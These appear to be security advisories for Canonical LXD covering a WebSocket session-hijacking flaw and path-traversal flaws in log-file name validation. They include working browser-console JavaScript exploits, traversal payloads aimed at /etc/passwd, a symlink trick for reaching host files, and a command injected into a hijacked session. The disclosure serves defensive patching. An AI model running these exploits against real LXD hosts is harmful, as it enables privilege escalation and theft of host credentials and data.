js (async () => { class LXDEventsSession { constructor(callback) { this.wsBase = wss://${window.location.host}/1.0/events?type=operation&all-p rojects=true; this.eventsConn = new WebSocket(this.wsBase); this.eventsConn.onopen = (event) => { console.log('Events conn Opened'); }; this.eventsConn.onmessage = (event) => { callback(event); }; }} class LXDWebSocketSession { constructor(operationId, secrets) { this.operationId = operationId; this.secrets = secrets; this.wsBase = wss://${window.location.host}/1.0/operations/${operationId}/w ebsocket; this.connections = {}; this.connections.data = new WebSocket(${this.wsBase}?secret=${this.secrets['0']}); this.connections.data.onopen = (event) => { console.log('Data Opened'); this.connections.data.send(new TextEncoder().encode('touch /tmp/xxx\r')); } this.connections.data.onmessage = (event) => { console.log('[Data]', event.data); }; this.connections.control = new WebSocket(${this.wsBase}?secret=${this.secrets.control}); this.connections.control.onopen = (event) => { console.log('Control Opened'); } this.connections.control.onmessage = (event) => { console.log('[Control]', event.data); }; } close() { Object.values(this.connections).forEach(ws => { if (ws.readyState === WebSocket.OPEN) { ws.close(); } }); } } const sessions = []; new LXDEventsSession( (event) => { const op = JSON.parse(event.data); const opId = op.metadata.id;const secrets = op.metadata.metadata.fds; for(const session of sessions){ if(session.operationId === opId){ return; } } sessions.push(new LXDWebSocketSession(opId, secrets)) }); })();

5. Have another user (or yourself for testing) start a terminal or console session on an instance At this time, whoever uses the secret first gains session rights, so it's recommended to intentionally slow down communication speed using DevTools' bandwidth throttling feature for verification. 6. Refresh the attacker's browser tab to stop event listening 7. Have the victim reopen their terminal/console session and verify:

$ ls -la /tmp/xxx

Risk Attack conditions require that the attacker has read permissions for the project, the victim (a user with higher privileges) opens a terminal or console session, and the attacker hijacks the WebSocket connection at the appropriate timing. Therefore, while successful attacks result in privilege escalation, the attack timing is very critical, making the realistic risk of attack relatively low.

Countermeasures As a fundamental countermeasure, it is recommended to exclude WebSocket connection secret information from operations API responses for read-only users. In the current implementation, the operations API returns all operation information (including secret values) regardless of permission level, which violates the principle of least privilege.

Specifically, in lxd/operations.go, user permissions should be checked, and for users with read-only permissions, WebSocket-related secrets (fds field) should be excluded from operation metadata. This prevents attackers from obtaining secret values, making WebSocket connection hijacking impossible.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - EOL and not critical |

References Reported by GMO Flatt Security Inc.

Impact Although outside the scope of this penetration test, a path traversal vulnerability exists in the validLogFileName function that validates log file names in lxd/instancelogs.go in the LXD 5.0 LTS series.

This vulnerability was fixed in PR #15022 in February 2025, and is fixed in at least LXD 5.21 and later. However, this PR appears to be primarily aimed at code improvement rather than vulnerability fixing, with the vulnerability being fixed as a side effect. Therefore, no CVE number has been issued, and no security patch has been made for LXD 5.0 and earlier.

However, since LXD 5.0 LTS is still in its support period and installation procedures are explained in official documentation, we judge that environments affected by this vulnerability likely exist and report it.

Implementation in vulnerable versions (LXD 5.0 LTS series):

https://github.com/canonical/lxd/blob/1f8c9f77782784900960bb3b8577c1491db59277/lxd/instancelogs.go#L152-L163

This function allows filenames starting with snapshot or migration, but lacks sufficient validation for the portion after the prefix, enabling path traversal attacks. The fixed version is as follows:

Implementation in fixed versions (LXD 5.21 and later):

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L665-L679

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/shared/util.go#L833-L835

This function ensures that filenames do not contain /, \, or .. .

Note that in Linux generally, path traversal like /notexistfolder/../existfolder/ is rejected within system calls and doesn't succeed.

However, in this case, the attack succeeds because URL normalization by golang's filepath.Join is performed beforehand.

Related part of instanceLogGet function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L218-L269

Related part of instanceLogDelete function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L331-L347

In the fixed version, filenames containing path traversal strings are rejected at the validLogFileName stage through pre-checking by shared.IsFileName.

Reproduction Steps

All reproduction steps for this finding must be performed on LXD 5.0.

1. Log in with an account having access to LXD-UI 2. Open browser DevTools and execute the following JavaScript to attempt path traversal attack:

js (async () => { const projectName = prompt("Enter target project name:"); const instanceName = prompt("Enter target instance name:"); const maliciousLogFile = encodeURIComponent('snapshot../../../../../../../../../../etc /passwd'); const response = await fetch(/1.0/instances/${instanceName}/logs/${maliciousLogFile} ?project=${projectName}, { method: 'GET', credentials: 'include' }); const content = await response.text(); console.log(content); })();

Description (2) A similar issue also exists in the validExecOutputFileName function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L681-L688

For exec-output, since a suffix is specified, it appears that arbitrary files cannot be specified. However, if an attacker has command execution privileges within a container, they can create a symbolic link that satisfies the suffix condition within the container and have the LXD host access it to perform the attack.

Reproduction Steps (2)

1. Open terminal in instance using LXD-UI and create symbolic link:

ln -s /etc/passwd execXXX-symlink.stdout

2. Execute the following JavaScript in browser DevTools to read files via symbolic link:

js (async () => { const projectName = prompt("Enter target project name:"); const instanceName = prompt("Enter target instance name:"); const maliciousExecFile = encodeURIComponent(exec../../../../../../../../../../../var/ snap/lxd/common/lxd/storage-pools/${projectName}/containers/${ instanceName}/rootfs/root/execXXX-symlink.stdout); const response = await fetch(/1.0/instances/${instanceName}/logs/exec-output/${malic iousExecFile}?project=${projectName}, { method: 'GET', credentials: 'include' }); const content = await response.text(); console.log(content); })();

This technique allows attackers with command execution privileges within a container to create symbolic links and attempt access to the host filesystem.

Risk This vulnerability exists in the LXD 5.0 LTS series, which appears to remain in widespread use, and if attackers have access to arbitrary projects and instances, they can read arbitrary files on the LXD host.

This could lead to leakage of the following information: -​ LXD host configuration files (/etc/passwd, /etc/shadow, etc.) -​ LXD database files (containing information about all projects and instances) -​ Configuration files and data of other instances -​ Sensitive information on the host system

Countermeasures Since this vulnerability has already been fixed, the primary countermeasures are providing information to users running older versions of LXD and, if possible, backporting to other LTS versions:

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - Not critical |

References Reported by GMO Flatt Security Inc.

Path traversal in Canonical LXD LXD-UI versions before 6.5 and 5.21.4 on all platforms allows remote authenticated attackers to access or modify unintended resources via crafted resource names embedded in URL paths.